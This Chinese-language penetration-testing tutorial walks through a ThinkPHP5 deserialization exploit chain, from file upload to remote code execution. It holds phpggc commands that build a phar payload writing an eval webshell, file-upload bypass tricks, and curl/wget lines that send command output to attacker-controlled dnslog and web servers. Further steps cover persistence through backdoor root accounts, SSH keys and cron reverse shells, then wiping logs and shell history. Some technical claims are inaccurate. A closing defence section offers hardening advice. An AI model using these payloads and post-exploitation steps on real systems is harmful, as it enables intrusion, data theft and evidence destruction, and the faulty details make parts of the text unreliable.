ThinkPHP5反序列化漏洞实战:从文件上传到RCE的完整利用链剖析

1. 项目概述:从文件上传到RCE的完整链条

在Web安全研究领域,ThinkPHP5框架的反序列化漏洞是一个经典且极具教学价值的案例。它完美地展示了如何将一个看似独立的“文件上传”功能点,通过框架内部的逻辑串联,最终演变成一条通往远程代码执行的完整攻击链。很多安全从业者在复现这个漏洞时,往往只关注最终的“一键getshell”POC,却忽略了其中环环相扣的逻辑链条和每个环节的绕过技巧。今天,我就以一个实战研究者的视角,带大家完整地走一遍这条利用链,不仅告诉你“怎么做”,更要讲清楚“为什么能这么做”,以及在实际渗透测试中可能遇到的变种和应对思路。

这条链的核心在于理解ThinkPHP5框架的请求处理流程、反序列化触发点以及文件上传的后续利用方式。它绝不仅仅是上传一个包含恶意序列化数据的文件那么简单,而是涉及对框架路由、控制器、模型以及缓存机制的综合利用。对于安全工程师来说,掌握这条链,意味着你能更深刻地理解现代PHP框架漏洞的成因,并提升在代码审计和实战渗透中的“链式思维”能力。无论你是刚入门Web安全的新手,还是想深化内功的资深从业者,这篇文章都将提供一份详实的实操指南和原理剖析。

2. 漏洞环境搭建与核心原理剖析

2.1 靶场环境快速部署

要分析漏洞,首先得有一个可控的环境。我推荐使用Docker快速搭建一个包含ThinkPHP 5.0.23版本(该版本存在典型的反序列化漏洞)的测试环境。这里不推荐使用现成的漏洞合集镜像,因为自己搭建能让你更清楚地了解框架的目录结构和配置。

首先,创建一个项目目录并编写docker-compose.yml文件:

version: '3' services: web: image: php:7.2-apache container_name: tp5_test ports: - "8080:80" volumes: - ./tp5:/var/www/html environment: APACHE_DOCUMENT_ROOT: /var/www/html/public

然后,进入目录,下载ThinkPHP 5.0.23的核心框架代码。你可以通过Composer创建,但为了复现漏洞的原始状态,我建议直接下载官方历史版本的ZIP包。将解压后的框架代码放入./tp5目录。接着,需要修改Apache配置以支持URL重写(这是ThinkPHP路由的基础)。在./tp5/public目录下创建或修改.htaccess文件:

<IfModule mod_rewrite.c> Options +FollowSymlinks -Multiviews RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L] </IfModule>

最后,通过docker-compose up -d启动环境。访问http://localhost:8080,看到ThinkPHP的欢迎页面,说明环境搭建成功。

注意:确保你的PHP版本在7.2左右,这是与5.0.23版本兼容性较好的一个版本。过高或过低的PHP版本可能会导致一些内置类或函数的行为差异,影响漏洞复现。

2.2 反序列化漏洞的根源:__destruct与__wakeup

ThinkPHP5的反序列化漏洞之所以能被利用,根源在于框架中某些类的魔术方法(Magic Method)设计存在缺陷。在PHP中,当对象被反序列化(unserialize())时,如果其类中定义了__wakeup()__destruct()方法,这些方法会被自动调用。

ThinkPHP5框架中,存在多个类在其__destruct()__wakeup()方法中,进行了文件删除、文件写入或调用其他对象方法等操作。攻击者的目标就是:构造一个特殊的序列化字符串,当它被反序列化时,能触发一连串的方法调用,最终实现任意文件写入或代码执行。

一个关键的起点类是think\process\pipes\Windows。在其__destruct()方法中,有类似$this->removeFiles();的调用,而removeFiles()方法会遍历一个文件路径数组并尝试删除它们。如果我们能控制这个数组中的内容,理论上可以删除任意文件。但这离RCE还很远。真正的利用链需要将“文件删除”转化为“文件写入”,进而写入Webshell。

这就需要用到PHP内置的“POP链”(Property-Oriented Programming)构造技巧。我们通过控制一个对象的属性,该属性是另一个对象,当调用前一个对象的方法时,实际上会触发后一个对象的方法,如此链式传递,直到找到一个能执行危险操作(如file_put_contents)的“终点”。

在ThinkPHP 5.0.23中,一条经典的POP链会经过think\process\pipes\Windows->think\model\concern\Conversion->think\model\concern\Attribute->think\Request等多个类,最终在Request类的__call()方法中,通过call_user_func_array调用一个可控的回调函数,结合file_put_contents完成文件写入。

2.3 文件上传功能的定位与审计

光有反序列化点还不够,我们需要一个入口将恶意序列化数据“送”进服务器。这就是“文件上传”功能登场的时候。在实战中,这个上传点可能非常明显,如用户头像上传;也可能很隐蔽,比如日志文件上传、缓存文件写入、导入功能等。

在ThinkPHP5框架中,有几个常见的、可能接受序列化数据作为输入的场景:

  1. 缓存机制:ThinkPHP支持将缓存数据序列化后存储到文件中。如果缓存键(key)或数据(data)用户部分可控,就可能注入序列化对象。
  2. Session处理:如果使用文件存储Session,并且Session数据反序列化处理不当。
  3. 数据库存储:某些字段可能存储序列化后的数组或对象。
  4. 明确的文件上传功能:这是最直接的。开发者可能将用户上传的文件内容直接进行unserialize()操作,或者将文件名、路径等信息与反序列化操作关联。

我们的利用链选择“文件上传”作为入口,是因为它直观且常见。假设目标网站有一个功能,允许用户上传一个“配置文件”或“数据备份文件”,后端代码可能会读取文件内容并尝试反序列化以恢复配置。即使后端没有明显的反序列化操作,我们也可以尝试利用框架本身对请求数据的处理逻辑,将序列化数据隐藏在HTTP请求的某个参数(如CookieHTTP头)中,再结合文件上传产生的特定服务器路径,触发反序列化。

3. 利用链的完整构造与分步解析

3.1 第一步:制作恶意序列化Payload

构造Payload是整个攻击的核心。我们不能手动拼接这个复杂的字符串,需要编写一个PHP脚本来生成。下面是一个简化版的Payload生成脚本,它展示了链中几个关键类的组装逻辑:

<?php namespace think\process\pipes; class Windows { private $files = []; public function __construct() { // $this->files 需要被构造成一个包含think\Model对象的数组 // 这里为了演示链的传递,先留空,实际构造非常复杂 } } namespace think\model\concern; trait Conversion { // 利用trait的特性进行链传递 } namespace think\model\concern; trait Attribute { private $data = []; private $withAttr = []; public function __construct() { // 将$data和$withAttr构造成能触发think\Request类__call()方法的形态 } } namespace think; class Request { protected $hook = []; protected $filter = “system”; // 危险函数名 protected $config = [ ‘var_pathinfo’ => ‘xxxx’, // 用于覆盖的变量 ]; // __call()方法会在对象调用不可访问方法时触发 } // 实际利用中,我们需要精心构造属性,使得Windows对象的$files属性包含Attribute trait的对象, // 而该对象的$data和$withAttr属性又指向Request对象,并设置好$hook和$filter。 // 最终链式调用会执行:Windows::__destruct() -> ... -> Request::__call() -> call_user_func_array($this->filter, …) // 生成Payload $obj = new Windows(); // 这里需要填充完整的属性构造 $payload = serialize($obj); echo $payload; ?>

实际上,公开的EXP工具(如phpggc)已经集成了这条链。我们可以直接使用它来生成Payload:

php -d “phar.readonly=0” phpggc/phpggc ThinkPHP/RCE1 “system” “id” > payload.txt

这条命令会生成一个执行id命令的序列化字符串。但我们的目标不是执行命令,而是写入文件。因此,我们需要将命令替换为写入Webshell的PHP代码。但这里有个问题:system等函数执行命令是瞬间的,而写入文件需要用到file_put_contents。在POP链的终点,call_user_func_array期望一个回调函数。我们可以构造$filter”file_put_contents”,但还需要传递两个参数:文件名和文件内容。这需要更精细地控制Request对象的其他属性。

一个更可行的方案是,利用call_user_func_array调用一个我们自定义的、存在于其他类中的静态方法,或者利用think\View类等其他的链终点。在实战中,我常用的方法是生成一个执行PHP代码的Payload,例如:

php -d “phar.readonly=0” phpggc/phpggc ThinkPHP/RCE1 “assert” “file_put_contents(‘shell.php’, ‘<?php eval(\\$_POST[cmd]);?>’)” --phar phar -o payload.phar

这里使用了phar://协议包装Payload,这是一种更通用的反序列化触发方式,不依赖于特定的unserialize()调用点。

3.2 第二步:寻找与利用文件上传点

有了Payload,我们需要将它上传到服务器。假设目标网站有一个头像上传功能,前端限制为jpg, png,后端可能使用ThinkPHP的Request类接收文件。

常规绕过尝试:

  1. 前端绕过:直接使用Burp Suite拦截上传请求,修改Content-Type和文件后缀名。
  2. 后缀名欺骗:尝试上传payload.php.jpgpayload.php%00.jpg(空字节截断,在特定PHP版本有效)、payload.pHp(大小写绕过)等。
  3. 内容欺骗:在真正的图片文件末尾追加我们的Payload(制作图片马),并配合文件包含漏洞使用。但本例中,我们需要服务器直接解析序列化数据。

更巧妙的思路:利用ThinkPHP的缓存机制如果直接的文件上传被严格过滤,我们可以换个角度。ThinkPHP的缓存文件通常存储在runtime/目录下,文件名和内容可能基于用户输入生成。如果我们能控制缓存键(例如,通过GET参数?key=恶意序列化数据),并且服务器在某个时机反序列化这个缓存文件,同样能触发漏洞。

例如,一个常见的场景是网站使用了Cache::set(‘prefix’.$user_input, $data)。如果$user_input我们可控,我们可以将其设置为我们的序列化字符串的一部分,并设法让缓存文件名或内容包含触发点。

实操上传:假设我们找到了一个相对宽松的上传点,它只检查了Content-Typeimage/jpeg。我们可以这样构造请求:

POST /index.php/user/uploadAvatar HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name=“avatar”; filename=“payload.phar” Content-Type: image/jpeg [这里粘贴我们生成的payload.phar的二进制内容] ------WebKitFormBoundaryABC123--

关键点在于,我们将恶意.phar文件的后缀名改为.phar,但将Content-Type声明为image/jpeg。有些粗糙的检查只会验证Content-Type

3.3 第三步:触发反序列化与文件写入

上传成功只是第一步,更重要的是触发服务器对我们上传的文件内容进行反序列化操作。这里有几种常见的触发方式:

方式一:直接访问phar文件(需特定配置)如果服务器配置不当,将.phar文件当作PHP文件解析,那么直接访问http://target.com/uploads/payload.phar就可能触发反序列化。但这需要服务器将.phar后缀添加到PHP解析的处理器中,这种情况较少见。

方式二:利用phar://协议流包装器这是最通用、最有效的方法。PHP的phar://协议流可以读取Phar归档文件中的元数据,而在读取元数据时会自动反序列化manifest中的信息。这意味着,只要我们能让服务器执行任何文件操作函数(如file_exists()file_get_contents()copy()等)的参数中包含phar://路径,就能触发反序列化。

例如,假设目标网站有一个“下载”功能,可以从uploads/目录读取文件:

http://target.com/index.php/home/download?file=uploads/payload.phar

如果后端代码这样写:

$filepath = $_GET[‘file’]; readfile($filepath);

那么它无法触发,因为readfile()直接输出内容。但如果代码是这样:

$filepath = $_GET[‘file’]; if (file_exists($filepath)) { // 这里会触发phar反序列化! // … 后续操作 }

或者,更常见的是,利用文件上传后的“预览”或“检查”功能。我们上传文件后,服务器可能会调用getimagesize()exif_imagetype()等函数来验证是否为真实图片。这些函数都支持流包装器。我们可以尝试将file参数改为:

file=phar://./uploads/payload.phar/test.txt

即使test.txt不存在,phar://协议在解析归档文件时也会触发元数据反序列化。

方式三:寻找显式的unserialize()调用点如果我们在代码审计中,发现后端在某处直接unserialize()了来自$_POST$_GET$_COOKIE的某个参数,那将是最直接的触发点。我们可以将生成的序列化字符串进行Base64编码(因为可能包含不可打印字符),然后通过该参数传递。

3.4 第四步:实现远程代码执行

当反序列化Payload被成功触发,我们构造的链最终执行了file_put_contents(‘shell.php’, ‘<?php eval($_POST[cmd]);?>’)。这个文件会写入到哪里?这取决于Payload中指定的路径和服务器进程的当前工作目录及权限。

通常,为了可靠,我们会尝试写入Web根目录下的可访问位置。在ThinkPHP中,可能是public/目录。但当前工作目录可能是项目根目录。因此,在构造Payload时,需要尝试多种路径:

  • ./shell.php(当前目录)
  • public/shell.php(相对路径)
  • /var/www/html/public/shell.php(绝对路径,需要猜解路径)

写入成功后,我们就获得了一个Webshell。通过中国蚁剑、冰蝎等工具连接http://target.com/shell.php,密码为cmd,即可执行任意系统命令,实现完整的RCE。

4. 实战中的变种、绕过与深度利用

4.1 当常规链被拦截:寻找替代POP链

随着ThinkPHP5漏洞的公开,很多WAF和主机安全软件已经能识别并拦截经典的Windows类起的POP链。这时,我们需要寻找框架中其他具有危险魔术方法的类作为新的起点。

例如,think\cache\driver\File类的__destruct()方法会调用gc()方法清理过期缓存,其中涉及文件删除操作。通过精心构造,可以将其与后续链衔接。再比如,think\session\driver\Memcache等涉及序列化存储的驱动类也可能成为入口。

这要求研究者对ThinkPHP5的代码结构有更深入的了解。一个有效的方法是,在本地搭建源码环境,使用IDE全局搜索__destruct__wakeup,逐一分析其逻辑,看是否存在可控的参数能导向文件操作或方法调用。

4.2 文件上传的进阶绕过技巧

如果目标系统对文件上传做了更严格的防护,我们需要组合拳:

  • 内容类型检测绕过:不仅改Content-Type,还要制作真正的GIF/JPEG图片马,使用exiftool等工具将Payload写入图片的EXIF信息中,如exiftool -Comment=‘<?php system($_GET[“c”]); ?>’ image.jpg。然后寄希望于服务器存在文件包含漏洞,或者某个图像处理库在解析EXIF时存在代码注入。
  • 文件头检测绕过:服务器可能检查文件幻数(Magic Number)。对于JPEG,文件头是FF D8 FF E0。我们可以在Payload前添加这些字节,使其看起来像一个损坏的图片。配合phar://协议,只要文件以<?php等Phar标识开头,仍能被识别为Phar归档。
  • .htaccess文件上传:如果能上传一个.htaccess文件,且服务器允许SetHandler,我们可以让服务器将特定后缀(如.abc)的文件解析为PHP。然后上传后缀为.abc的Webshell。内容如下:
    <FilesMatch “.abc$”> SetHandler application/x-httpd-php </FilesMatch>
  • 路径穿越与目录控制:在上传时,通过修改filename参数为../../../shell.php,尝试将文件写入到Web目录的其他位置。这需要服务器未正确过滤路径中的..

4.3 无回显RCE与信息外带

在实战中,可能由于防火墙、权限等原因,即使执行了命令,我们也看不到回显。或者,我们写入的Webshell被安全软件瞬间删除。这时,我们需要使用无回显(Blind)RCE技术。

方法一:DNSLog外带数据让目标服务器执行命令,将执行结果(如whoami)拼接到一个我们可控的子域名下,通过DNS查询记录来获取结果。

# Payload中执行的命令 curl `whoami`.xxxxxx.dnslog.cn # 在DNSLog平台查看接收到的子域名,其中就包含了命令结果

在PHP中,可以使用system(‘curl …’)exec(‘ping -c 1 …’)

方法二:HTTP请求外带让目标服务器将命令结果通过HTTP GET/POST请求发送到我们控制的接收服务器。

# 使用wget或curl wget http://your-server.com/receive.php?result=$(whoami|base64)

在写入的Webshell中,可以执行这样的代码。

方法三:时间盲注通过命令执行的时间延迟来判断是否成功。例如,执行sleep 5,如果页面响应延迟了5秒,说明命令执行成功。这通常用于布尔判断,不适合获取大量数据。

4.4 权限维持与痕迹清理

获得RCE后,除了执行一次性命令,我们可能需要进行权限维持。

  1. 写入后门账户:在/etc/passwd/etc/shadow(需root权限)中添加一个具有root权限的隐藏用户。
  2. 安装SSH公钥:将我们的公钥写入目标服务器~/.ssh/authorized_keys文件中。
  3. 创建计划任务:通过crontab -e或向/etc/cron.d/写入任务,定期反弹Shell。
  4. 部署隐蔽Webshell:将Webshell写入静态文件(如.css,.js)中,通过包含漏洞调用,或者使用动态回调的Webshell,避免固定连接密码。

在完成操作后,务必清理日志和访问痕迹:

  • 清除Web日志:echo “” > /var/log/apache2/access.log
  • 清除命令历史:history -cexport HISTFILE=/dev/null
  • 删除上传的恶意文件:使用unlink()函数删除Payload文件和Webshell文件。

5. 防御策略与安全开发建议

分析了完整的攻击链,作为开发者和安全运维,我们应该如何防御?

5.1 代码层防御

  1. 严格过滤反序列化输入:除非绝对必要,否则避免使用unserialize()函数。如果必须使用,只反序列化来自可信来源的、经过数字签名验证的数据。可以使用json_decode()作为替代。
  2. 禁用危险魔术方法:在核心业务类中,谨慎编写__destruct__wakeup__call__callStatic等魔术方法,避免在其中执行文件、数据库或系统命令操作。
  3. 使用白名单机制:如果框架需要反序列化,应实现一个白名单机制,只允许反序列化指定的、安全的类。PHP 7.0+ 的unserialize()函数提供了第二个参数[‘allowed_classes’ => false]来禁用所有类对象的反序列化,只反序列化基本类型。
  4. 及时更新框架:官方早已修复ThinkPHP5中的相关漏洞。升级到最新安全版本是最根本的解决方案。

5.2 文件上传安全

  1. 后端验证:前端验证形同虚设,所有验证必须在后端进行。
  2. 重命名文件:不要使用用户上传的文件名。应使用随机生成的文件名(如UUID)并保留原始扩展名,或者统一改为特定安全后缀(如.data)。
  3. 隔离存储:将上传的文件存储在Web根目录之外,通过脚本(如readfile.php?id=xxx)来读取和分发。这样即使上传了Webshell,也无法直接通过URL访问。
  4. 检查文件内容:使用安全的库获取文件的真实MIME类型(如finfo_file()),而不是依赖Content-Type。对于图片,使用GD库或ImageMagick重新渲染保存,可以剥离嵌入的恶意代码。
  5. 限制文件权限:上传目录应设置为不可执行(chmod -R 755 uploads/chmod -R 644 uploads/*)。在Nginx/Apache配置中,禁止上传目录解析PHP等脚本。
    # Nginx配置示例 location ~* ^/uploads/.*\.(php|php5|jsp|asp)$ { deny all; }

5.3 服务器与环境加固

  1. 禁用危险函数和协议:在php.ini中,将disable_functions设置为包含system,exec,passthru,shell_exec,proc_open等。同时,考虑禁用phar://协议流(allow_url_include=Off),但注意这可能影响合法功能。
  2. 配置WAF:部署Web应用防火墙,设置规则拦截包含phar://、序列化字符串特征(如O:C:后跟数字)的请求。
  3. 最小权限原则:运行Web服务的用户(如www-data)应具有最小必要权限,绝不能是root。避免使用该用户向系统关键目录写文件。
  4. 定期安全审计:对代码进行定期的静态安全扫描(SAST)和动态渗透测试,特别是文件上传、反序列化、命令执行等高风险功能点。

6. 从漏洞复现到代码审计的思维跃迁

复现一个已知漏洞只是起点。真正的价值在于,通过这个案例,建立起一套属于自己的代码审计和漏洞挖掘方法论。

当你再看到一个新的PHP框架或CMS时,可以按以下步骤进行快速安全评估:

  1. 入口点收集:全局搜索unserialize(file_put_contents(system(eval(等危险函数。关注文件上传、缓存读写、数据库序列化字段、Cookie处理等逻辑。
  2. 魔术方法审计:定位所有包含__destruct__wakeup__call__toString的类,分析其逻辑是否存在可控参数。
  3. 数据流追踪:从一个用户可控的输入点(如$_GET[‘id’])开始,手动或借助工具追踪其在整个应用中的传递过程,看是否最终流向了危险函数。
  4. POP链构造练习:在本地搭建环境,尝试将找到的危险起点和终点通过属性连接起来,构造出可行的利用链。这需要你对PHP的面向对象机制有深刻理解。

ThinkPHP5反序列化漏洞的实战分析,就像一本生动的教科书,它教会我们的不仅是几个漏洞利用的命令,更是一种系统性的、链式的安全攻防思维。在实战中,情况往往比靶场复杂得多,需要你灵活组合各种技巧,并保持对代码和逻辑的深刻洞察。